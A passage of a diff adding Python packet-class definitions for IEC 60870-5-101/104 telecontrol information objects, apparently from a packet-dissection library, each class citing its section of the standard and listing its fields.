IEC104_IO_M_ME_TB_1(IEC104_IO_Packet): + """ + measured value, scaled value with time tag + + EN 60870-5-101:2003, sec. 7.3.1.12 (p. 71) + """ + name = 'M_ME_TB_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TB_1 + + fields_desc = IEC104_IE_SVA.informantion_element_fields + \ + IEC104_IE_QDS.informantion_element_fields + \ + IEC104_IE_CP24TIME2A.informantion_element_fields + + +class IEC104_IO_M_ME_NC_1(IEC104_IO_Packet): + """ + measured value, short floating point number + + EN 60870-5-101:2003, sec. 7.3.1.13 (p. 72) + """ + name = 'M_ME_NC_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_NC_1 + + fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \ + IEC104_IE_QDS.informantion_element_fields + + +class IEC104_IO_M_ME_TC_1(IEC104_IO_Packet): + """ + measured value, short floating point number with time tag + + EN 60870-5-101:2003, sec. 7.3.1.14 (p. 74) + """ + name = 'M_ME_TC_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TC_1 + + fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \ + IEC104_IE_QDS.informantion_element_fields + \ + IEC104_IE_CP24TIME2A.informantion_element_fields + + +class IEC104_IO_M_IT_NA_1(IEC104_IO_Packet): + """ + integrated totals + + EN 60870-5-101:2003, sec. 7.3.1.15 (p. 75) + """ + name = 'M_IT_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_IT_NA_1 + + fields_desc = IEC104_IE_BCR.informantion_element_fields + + +class IEC104_IO_M_IT_TA_1(IEC104_IO_Packet): + """ + integrated totals with time tag + + EN 60870-5-101:2003, sec. 7.3.1.16 (p. 77) + """ + name = 'M_IT_TA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_IT_TA_1 + + fields_desc = IEC104_IE_BCR.informantion_element_fields + \ + IEC104_IE_CP24TIME2A.informantion_element_fields + + +class IEC104_IO_M_EP_TA_1(IEC104_IO_Packet): + """ + event of protection equipment with time tag + + EN 60870-5-101:2003, sec. 7.3.1.17 (p. 78) + """ + name = 'M_EP_TA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TA_1 + + fields_desc = IEC104_IE_SEP.informantion_element_fields + \ + IEC104_IE_CP16TIME2A_ELAPSED.informantion_element_fields + \ + IEC104_IE_CP24TIME2A.informantion_element_fields + + +class IEC104_IO_M_EP_TB_1(IEC104_IO_Packet): + """ + packed start events of protection equipment with time tag + + EN 60870-5-101:2003, sec. 7.3.1.18 (p. 79) + """ + name = 'M_EP_TB_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TB_1 + + fields_desc = IEC104_IE_SPE.informantion_element_fields + \ + IEC104_IE_QDP.informantion_element_fields + \ + IEC104_IE_CP16TIME2A_PROTECTION_ACTIVE.\ + informantion_element_fields + \ + IEC104_IE_CP24TIME2A.informantion_element_fields + + +class IEC104_IO_M_EP_TC_1(IEC104_IO_Packet): + """ + packed output circuit information of protection equipment with time tag + + EN 60870-5-101:2003, sec. 7.3.1.19 (p. 80) + """ + name = 'M_EP_TC_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TC_1 + + fields_desc = IEC104_IE_OCI.informantion_element_fields + \ + IEC104_IE_QDP.informantion_element_fields + \ + IEC104_IE_CP16TIME2A_PROTECTION_COMMAND.\ + informantion_element_fields + \ + IEC104_IE_CP24TIME2A.informantion_element_fields + + +class IEC104_IO_M_PS_NA_1(IEC104_IO_Packet): + """ + packed single-point information with status change detection + + EN 60870-5-101:2003, sec. 7.3.1.20 (p. 81) + """ + name = 'M_PS_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_PS_NA_1 + + fields_desc = IEC104_IE_SCD.informantion_element_fields + \ + IEC104_IE_QDS.informantion_element_fields + + +class IEC104_IO_M_ME_ND_1(IEC104_IO_Packet): + """ + measured value, normalized value without quality descriptor + + EN 60870-5-101:2003, sec. 7.3.1.21 (p. 83) + """ + name = 'M_ME_ND_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_ND_1 + + fields_desc = IEC104_IE_NVA.informantion_element_fields + + +class IEC104_IO_M_SP_TB_1(IEC104_IO_Packet): + """ + single-point information with time tag cp56time2a + + EN 60870-5-101:2003, sec. 7.3.1.22 (p. 84) + """ + name = 'M_SP_TB_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_SP_TB_1 + + fields_desc = IEC104_IE_SIQ.informantion_element_fields + \ + IEC104_IE_CP56TIME2A.informantion_element_fields + + +class IEC104_IO_M_DP_TB_1(IEC104_IO_Packet): + """ + double-point information with time tag cp56time2a + + EN 60870-5-101:2003, sec. 7.3.1.23 (p. 85) + """ + name = 'M_DP_TB_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_DP_TB_1 + + fields_desc = IEC104_IE_DIQ.informantion_element_fields + \ + IEC104_IE_CP56TIME2A.informantion_element_fields + + +class IEC104_IO_M_ST_TB_1(IEC104_IO_Packet): + """ + step position information with time tag cp56time2a + + EN 60870-5-101:2003, sec. 7.3.1.24 (p. 87) + """ + name = 'M_ST_TB_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ST_TB_1 + + fields_desc = IEC104_IE_VTI.informantion_element_fields + \ + IEC104_IE_QDS.informantion_element_fields + \ + IEC104_IE_CP56TIME2A.informantion_element_fields + + +class IEC104_IO_M_BO_TB_1(IEC104_IO_Packet): + """ + bitstring of 32 bits with time tag cp56time2a + + EN 60870-5-101:2003, sec. 7.3.1.25 (p. 89) + """ + name = 'M_BO_TB_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_BO_TB_1 + + fields_desc = IEC104_IE_BSI.informantion_element_fields + \ + IEC104_IE_QDS.informantion_element_fields + \ + IEC104_IE_CP56TIME2A.informantion_element_fields + + +class IEC104_IO_M_ME_TD_1(IEC104_IO_Packet): + """ + measured value, normalized value with time tag cp56time2a + + EN 60870-5-101:2003, sec. 7.3.1.26 (p. 91) + """ + name = 'M_ME_TD_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TD_1 + + fields_desc = IEC104_IE_NVA.informantion_element_fields + \ + IEC104_IE_QDS.informantion_element_fields + \ + IEC104_IE_CP56TIME2A.informantion_element_fields + + +class IEC104_IO_M_ME_TE_1(IEC104_IO_Packet): + """ + measured value, scaled value with time tag cp56time2a + + EN 60870-5-101:2003, sec. 7.3.1.27 (p. 93) + """ + name = 'M_ME_TE_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TE_1 + + fields_desc = IEC104_IE_SVA.informantion_element_fields + \ + IEC104_IE_QDS.informantion_element_fields + \ + IEC104_IE_CP56TIME2A.informantion_element_fields + + +class IEC104_IO_M_ME_TF_1(IEC104_IO_Packet): + """ + measured value, short floating point number with time tag cp56time2a + + EN 60870-5-101:2003, sec. 7.3.1.28 (p. 95) + """ + name = 'M_ME_TF_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TF_1 + + fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \ + IEC104_IE_QDS.informantion_element_fields + \ + IEC104_IE_CP56TIME2A.informantion_element_fields + + +class IEC104_IO_M_IT_TB_1(IEC104_IO_Packet): + """ + integrated totals with time tag cp56time2a + + EN 60870-5-101:2003, sec. 7.3.1.29 (p. 97) + """ + name = 'M_IT_TB_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_IT_TB_1 + + fields_desc = IEC104_IE_BCR.informantion_element_fields + \ + IEC104_IE_CP56TIME2A.informantion_element_fields + + +class IEC104_IO_M_EP_TD_1(IEC104_IO_Packet): + """ + event of protection equipment with time tag cp56time2a + + EN 60870-5-101:2003, sec. 7.3.1.30 (p. 99) + """ + name = 'M_EP_TD_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TD_1 + + fields_desc = IEC104_IE_SEP.informantion_element_fields + \ + IEC104_IE_CP16TIME2A_ELAPSED.informantion_element_fields + \ + IEC104_IE_CP56TIME2A.informantion_element_fields + + +class IEC104_IO_M_EP_TE_1(IEC104_IO_Packet): + """ + packed start events of protection equipment with time tag cp56time2a + + EN 60870-5-101:2003, sec. 7.3.1.31 (p. 100) + """ + name = 'M_EP_TE_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TE_1 + + fields_desc = IEC104_IE_SPE.informantion_element_fields + \ + IEC104_IE_QDP.informantion_element_fields + \ + IEC104_IE_CP16TIME2A_PROTECTION_ACTIVE.\ + informantion_element_fields + \ + IEC104_IE_CP56TIME2A.informantion_element_fields + + +class IEC104_IO_M_EP_TF_1(IEC104_IO_Packet): + """ + packed output circuit information of protection equipment with + time tag cp56time2a + + EN 60870-5-101:2003, sec. 7.3.1.32 (p. 101) + """ + name = 'M_EP_TF_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TF_1 + + fields_desc = IEC104_IE_OCI.informantion_element_fields + \ + IEC104_IE_QDP.informantion_element_fields + \ + IEC104_IE_CP16TIME2A_PROTECTION_COMMAND.\ + informantion_element_fields + \ + IEC104_IE_CP56TIME2A.informantion_element_fields + + +class IEC104_IO_C_SC_NA_1(IEC104_IO_Packet): + """ + single command + + EN 60870-5-101:2003, sec. 7.3.2.1 (p. 102) + """ + name = 'C_SC_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SC_NA_1 + + fields_desc = IEC104_IE_SCO.informantion_element_fields + + +class IEC104_IO_C_DC_NA_1(IEC104_IO_Packet): + """ + double command + + EN 60870-5-101:2003, sec. 7.3.2.2 (p. 102) + """ + name = 'C_DC_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_DC_NA_1 + + fields_desc = IEC104_IE_DCO.informantion_element_fields + + +class IEC104_IO_C_RC_NA_1(IEC104_IO_Packet): + """ + regulating step command + + EN 60870-5-101:2003, sec. 7.3.2.3 (p. 103) + """ + name = 'C_RC_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_RC_NA_1 + + fields_desc = IEC104_IE_RCO.informantion_element_fields + + +class IEC104_IO_C_SE_NA_1(IEC104_IO_Packet): + """ + set-point command, normalized value + + EN 60870-5-101:2003, sec. 7.3.2.4 (p. 104) + """ + name = 'C_SE_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_NA_1 + + fields_desc = IEC104_IE_NVA.informantion_element_fields + \ + IEC104_IE_QOS.informantion_element_fields + + +class IEC104_IO_C_SE_NB_1(IEC104_IO_Packet): + """ + set-point command, scaled value + + EN 60870-5-101:2003, sec. 7.3.2.5 (p. 104) + """ + name = 'C_SE_NB_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_NB_1 + + fields_desc = IEC104_IE_SVA.informantion_element_fields + \ + IEC104_IE_QOS.informantion_element_fields + + +class IEC104_IO_C_SE_NC_1(IEC104_IO_Packet): + """ + set-point command, short floating point number + + EN 60870-5-101:2003, sec. 7.3.2.6 (p. 105) + """ + name = 'C_SE_NC_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_NC_1 + + fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \ + IEC104_IE_QOS.informantion_element_fields + + +class IEC104_IO_C_BO_NA_1(IEC104_IO_Packet): + """ + bitstring of 32 bit + + EN 60870-5-101:2003, sec. 7.3.2.7 (p. 106) + """ + name = 'C_BO_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_BO_NA_1 + + fields_desc = IEC104_IE_BSI.informantion_element_fields + + +class IEC104_IO_M_EI_NA_1(IEC104_IO_Packet): + """ + end of initialization + + EN 60870-5-101:2003, sec. 7.3.3.1 (p. 106) + """ + name = 'M_EI_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EI_NA_1 + + fields_desc = IEC104_IE_COI.informantion_element_fields + + +class IEC104_IO_C_IC_NA_1(IEC104_IO_Packet): + """ + interrogation command + + EN 60870-5-101:2003, sec. 7.3.4.1 (p. 107) + """ + name = 'C_IC_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_IC_NA_1 + + fields_desc = IEC104_IE_QOI.informantion_element_fields + + +class IEC104_IO_C_CI_NA_1(IEC104_IO_Packet): + """ + counter interrogation command + + EN 60870-5-101:2003, sec. 7.3.4.2 (p. 108) + """ + name = 'C_CI_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_CI_NA_1 + + fields_desc = IEC104_IE_QCC.informantion_element_fields + + +class IEC104_IO_C_RD_NA_1(IEC104_IO_Packet): + """ + read command + + EN 60870-5-101:2003, sec. 7.3.4.3 (p. 108) + """ + name = 'C_RD_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_RD_NA_1 + + # this information object contains no data + fields_desc = [] + + +class IEC104_IO_C_CS_NA_1(IEC104_IO_Packet): + """ + clock synchronization command + + EN 60870-5-101:2003, sec. 7.3.4.4 (p. 109) + """ + name = 'C_CS_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_CS_NA_1 + + fields_desc = IEC104_IE_CP56TIME2A.informantion_element_fields + + +class IEC104_IO_C_TS_NA_1(IEC104_IO_Packet): + """ + test command + + EN 60870-5-101:2003, sec. 7.3.4.5 (p. 110) + """ + name = 'C_TS_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_TS_NA_1 + + fields_desc = IEC104_IE_FBP.informantion_element_fields + + +class IEC104_IO_C_RP_NA_1(IEC104_IO_Packet): + """ + reset process command + + EN 60870-5-101:2003, sec. 7.3.4.6 (p. 110) + """ + name = 'C_RP_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_RP_NA_1 + + fields_desc = IEC104_IE_QRP.informantion_element_fields + + +class IEC104_IO_C_CD_NA_1(IEC104_IO_Packet): + """ + (telegram) delay acquisition command + + EN 60870-5-101:2003, sec. 7.3.4.7 (p. 111) + """ + name = 'C_CD_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_CD_NA_1 + + fields_desc = IEC104_IE_CP16TIME2A.informantion_element_fields + + +class IEC104_IO_P_ME_NA_1(IEC104_IO_Packet): + """ + parameter of measured values, normalized value + + EN 60870-5-101:2003, sec. 7.3.5.1 (p. 112) + """ + name = 'P_ME_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_P_ME_NA_1 + + fields_desc = IEC104_IE_NVA.informantion_element_fields + \ + IEC104_IE_QPM.informantion_element_fields + + +class IEC104_IO_P_ME_NB_1(IEC104_IO_Packet): + """ + parameter of measured values, scaled value + + EN 60870-5-101:2003, sec. 7.3.5.2 (p. 113) + """ + name = 'P_ME_NB_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_P_ME_NB_1 + + fields_desc = IEC104_IE_SVA.informantion_element_fields + \ + IEC104_IE_QPM.informantion_element_fields + + +class IEC104_IO_P_ME_NC_1(IEC104_IO_Packet): + """ + parameter of measured values, short floating point number + + EN 60870-5-101:2003, sec. 7.3.5.3 (p. 114) + """ + name = 'P_ME_NC_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_P_ME_NC_1 + + fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \ + IEC104_IE_QPM.informantion_element_fields + + +class IEC104_IO_P_AC_NA_1(IEC104_IO_Packet): + """ + parameter activation + + EN 60870-5-101:2003, sec. 7.3.5.4 (p. 115) + """ + name = 'P_AC_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_P_AC_NA_1 + + fields_desc = IEC104_IE_QPA.informantion_element_fields + + +class IEC104_IO_F_FR_NA_1(IEC104_IO_Packet): + """ + file ready + + EN 60870-5-101:2003, sec. 7.3.6.1 (p. 116) + """ + name = 'F_FR_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_FR_NA_1 + + fields_desc = IEC104_IE_NOF.informantion_element_fields + \ + IEC104_IE_LOF.informantion_element_fields + \ + IEC104_IE_FRQ.informantion_element_fields + + +class IEC104_IO_F_SR_NA_1(IEC104_IO_Packet): + """ + section ready + + EN 60870-5-101:2003, sec. 7.3.6.2 (p. 117) + """ + name = 'F_SR_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_SR_NA_1 + + fields_desc = IEC104_IE_NOF.informantion_element_fields + \ + IEC104_IE_NOS.informantion_element_fields + \ + IEC104_IE_LOF.informantion_element_fields + \ + IEC104_IE_SRQ.informantion_element_fields + + +class IEC104_IO_F_SC_NA_1(IEC104_IO_Packet): + """ + call directory, select file, call file, call section + + EN 60870-5-101:2003, sec. 7.3.6.3 (p. 118) + """ + name = 'F_SC_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_SC_NA_1 + + fields_desc = IEC104_IE_NOF.informantion_element_fields + \ + IEC104_IE_NOS.informantion_element_fields + \ + IEC104_IE_SCQ.informantion_element_fields + + +class IEC104_IO_F_LS_NA_1(IEC104_IO_Packet): + """ + last section, last segment + + EN 60870-5-101:2003, sec. 7.3.6.4 (p. 119) + """ + name = 'F_LS_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_LS_NA_1 + + fields_desc = IEC104_IE_NOF.informantion_element_fields + \ + IEC104_IE_NOS.informantion_element_fields + \ + IEC104_IE_LSQ.informantion_element_fields + \ + IEC104_IE_CHS.informantion_element_fields + + +class IEC104_IO_F_AF_NA_1(IEC104_IO_Packet): + """ + ack file, ack section + + EN 60870-5-101:2003, sec. 7.3.6.5 (p. 119) + """ + name = 'F_AF_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_AF_NA_1 + + fields_desc = IEC104_IE_NOF.informantion_element_fields + \ + IEC104_IE_NOS.informantion_element_fields + \ + IEC104_IE_AFQ.informantion_element_fields + + +class IEC104_IO_F_SG_NA_1(IEC104_IO_Packet): + """ + file / section data octets + + EN 60870-5-101:2003, sec. 7.3.6.6 (p. 120) + """ + name = 'F_SG_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_SG_NA_1 + + fields_desc = IEC104_IE_NOF.informantion_element_fields + \ + IEC104_IE_NOS.informantion_element_fields + [ + BitFieldLenField('segment_length', None, 8, + length_of='data'), # repr IEC104_IE_LOS + XStrLenField('data', '', + length_from=lambda pkt: pkt.segment_length) + ] + + +class IEC104_IO_F_DR_TA_1(IEC104_IO_Packet): + """ + directory + + EN 60870-5-101:2003, sec. 7.3.6.7 (p. 121) + """ + name = 'F_DR_TA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_DR_TA_1 + + fields_desc = IEC104_IE_NOF.informantion_element_fields + \ + IEC104_IE_LOF.informantion_element_fields + \ + IEC104_IE_SOF.informantion_element_fields + \ + IEC104_IE_CP56TIME2A.informantion_element_fields + + +class IEC104_IO_C_SC_TA_1(IEC104_IO_Packet): + """ + single command with timestamp CP56Time2a + + EN 60870-5-104:2006, sec. 8.1 (p. 37) + """ + name = 'C_SC_TA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SC_TA_1 + + fields_desc = IEC104_IE_SCO.informantion_element_fields + \ + IEC104_IE_CP56TIME2A.informantion_element_fields + + +class IEC104_IO_C_DC_TA_1(IEC104_IO_Packet): + """ + double command with timestamp CP56Time2a + + EN 60870-5-104:2006, sec. 8.2 (p. 38) + """ + name = 'C_DC_TA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_DC_TA_1 + + fields_desc = IEC104_IE_DCO.informantion_element_fields + \ + IEC104_IE_CP56TIME2A.informantion_element_fields + + +class IEC104_IO_C_RC_TA_1(IEC104_IO_Packet): + """ + step control command with timestamp CP56Time2a + + EN 60870-5-104:2006, sec. 8.3 (p. 39) + """ + name = 'C_RC_TA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_RC_TA_1 + + fields_desc = IEC104_IE_RCO.informantion_element_fields + \ + IEC104_IE_CP56TIME2A.informantion_element_fields + + +class IEC104_IO_C_SE_TA_1(IEC104_IO_Packet): + """ + set point command, normed value with timestamp CP56Time2a + + EN 60870-5-104:2006, sec. 8.4 (p. 40) + """ + name = 'C_SE_TA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_TA_1 + + fields_desc = IEC104_IE_NVA.informantion_element_fields + \ + IEC104_IE_QOS.informantion_element_fields + \ + IEC104_IE_CP56TIME2A.informantion_element_fields + + +class IEC104_IO_C_SE_TB_1(IEC104_IO_Packet): + """ + set point command, scaled value with timestamp CP56Time2a + + EN 60870-5-104:2006, sec. 8.5 (p. 41) + """ + name = 'C_SE_TB_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_TB_1 + + fields_desc = IEC104_IE_SVA.informantion_element_fields + \ + IEC104_IE_QOS.informantion_element_fields + \ + IEC104_IE_CP56TIME2A.informantion_element_fields + + +class IEC104_IO_C_SE_TC_1(IEC104_IO_Packet): + """ + set point command, shortened floating point value with timestamp CP56Time2a + + EN 60870-5-104:2006, sec. 8.6 (p. 42) + """ + name = 'C_SE_TC_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_TC_1 + + fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \ + IEC104_IE_QOS.informantion_element_fields + \ + IEC104_IE_CP56TIME2A.informantion_element_fields + + +class IEC104_IO_C_BO_TA_1(IEC104_IO_Packet): + """ + bitmask 32 bit with timestamp CP56Time2a + + EN 60870-5-104:2006, sec. 8.7 (p. 43) + """ + name = 'C_BO_TA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_BO_TA_1 + + fields_desc = IEC104_IE_BSI.informantion_element_fields + \ + IEC104_IE_CP56TIME2A.informantion_element_fields + + +class IEC104_IO_C_TS_TA_1(IEC104_IO_Packet): + """ + test command with timestamp CP56Time2a + + EN 60870-5-104:2006, sec. 8.8 (p. 44) + """ + name = 'C_TS_TA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_TS_TA_1 + + fields_desc = IEC104_IE_TSC.informantion_element_fields + \ + IEC104_IE_CP56TIME2A.informantion_element_fields + + +class IEC104_IO_F_SC_NB_1(IEC104_IO_Packet): + """ + request archive file + + EN 60870-5-104:2006, sec. 8.9 (p. 45) + """ + name = 'F_SC_NB_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_SC_NB_1 + + fields_desc = IEC104_IE_NOF.informantion_element_fields + \ + IEC104_IE_CP56TIME2A_START_TIME.\ + informantion_element_fields + \ + IEC104_IE_CP56TIME2A_STOP_TIME.informantion_element_fields + + +IEC104_IO_CLASSES = { + IEC104_IO_ID_M_SP_NA_1: IEC104_IO_M_SP_NA_1, + IEC104_IO_ID_M_SP_TA_1: IEC104_IO_M_SP_TA_1, + IEC104_IO_ID_M_DP_NA_1: IEC104_IO_M_DP_NA_1, + IEC104_IO_ID_M_DP_TA_1: IEC104_IO_M_DP_TA_1, + IEC104_IO_ID_M_ST_NA_1: IEC104_IO_M_ST_NA_1, + 